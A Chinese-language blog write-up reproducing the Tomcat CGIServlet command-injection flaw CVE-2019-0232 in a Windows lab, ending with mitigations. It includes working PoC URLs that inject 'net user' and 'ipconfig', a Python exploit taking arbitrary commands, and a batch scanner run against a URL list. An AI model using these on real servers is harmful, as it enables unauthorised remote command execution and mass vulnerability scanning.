Tomcat CGIServlet enableCmdLineArguments遠端程式碼執行_CVE-2019-0232漏洞復現
一、漏洞描述
該漏洞是由於tomcat CGI將命令列引數傳遞給Windows程式的方式存在錯誤,使得CGIServlet被命令注入影響。成功利用此漏洞可允許遠端攻擊者在目標伺服器上執行任意命令,從而導致伺服器被完全控制。
該漏洞隻影響windows平臺,要求啟用CGI Servlet和enableCmdLineArguments引數。但是CGI Servlet預設關閉, enableCmdLineArguments在tomcat 9.0之後預設關閉
觸發該漏洞需要同時滿足以下條件:
1、 系統為windows
2、 啟用了CGI Servlet(預設為關閉)
3、 啟用了enableCmdLineArguments(tomcat 9.0之後預設為關閉)
二、影響版本
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
三、漏洞環境
目標機:windows 7
jdk_8u71
apache tomcat 8.5.2
1、 java環境搭建,jdk下載、安裝
下載地址:http://www.oracle.com/technetwork/java/javase/downloads/index.html
2、 測試java環境
3、tomcat下載、安裝
下載地址: https://archive.apache.org/dist/tomcat/
4、 tomcat環境測試
四、漏洞復現
1、 開啟Tomcat安裝目錄的C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\conf\web.xml修改為如下配置,在預設情況下配置是註釋的
2、同時還要修改web.xml以下配置,否則訪問cgi目錄會提示404
3、修改C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\conf\context.xml,新增privileged="true"
4、在C:\Program Files (x86)\Apache Software Foundation\Tomcat 8.5\webapps\ROOT\WEB-INF目錄新建一個cgi-bin資料夾,在cgi-bin資料夾下建立一個hello.bat的檔案,內容如下:
5、 漏洞利用
POC如下: #必須使用URL編碼進行訪問
http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user
http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig
6、使用python指令碼驗證目標是否存在漏洞
指令碼如下:
#author:yuzly #description: #http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig import requests import sys url=sys.argv[1] url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C" cmd=sys.argv[2] vuln_url=url+url_dir+cmd print("Usage:python cve-2019-0232.py url cmd") print("the vuln url:\n\n",vuln_url) r=requests.get(vuln_url) r.encoding = 'gbk' print("\nthe vuln response content:\n\n",r.text)
7、執行指令碼
8、 編寫批量自動化驗證cve-2018-0232漏洞指令碼
#author:yuzly #blogs:https://www.cnblogs.com/yuzly/ #description: #http://192.168.10.171:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig import requests import sys url_dir="/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cipconfig" #payload with open("url.txt") as f: while True: url=f.readline() if url: url=url.split("\n")[0] #print(url) vuln_url=url+url_dir #print(vuln_url) try: r=requests.get(vuln_url) #print(r.text) if "IPv4" in r.text: print("[+][+]%s is exist vulnerability[+][+]" %url) else: print("[-]%s is not exist vuln" %url) except: print("[!]%s is connection fail[!]" %url) else: break
9、 搭建環境測試,執行指令碼
五、漏洞防禦
1、 升級版本
2、 關閉enableCmdLineArguments引數
---------------------------------------------------------------------------------------
參考資料:https://xz.aliyun.com/t/4875
https://github.com/jas502n/CVE-2019-0232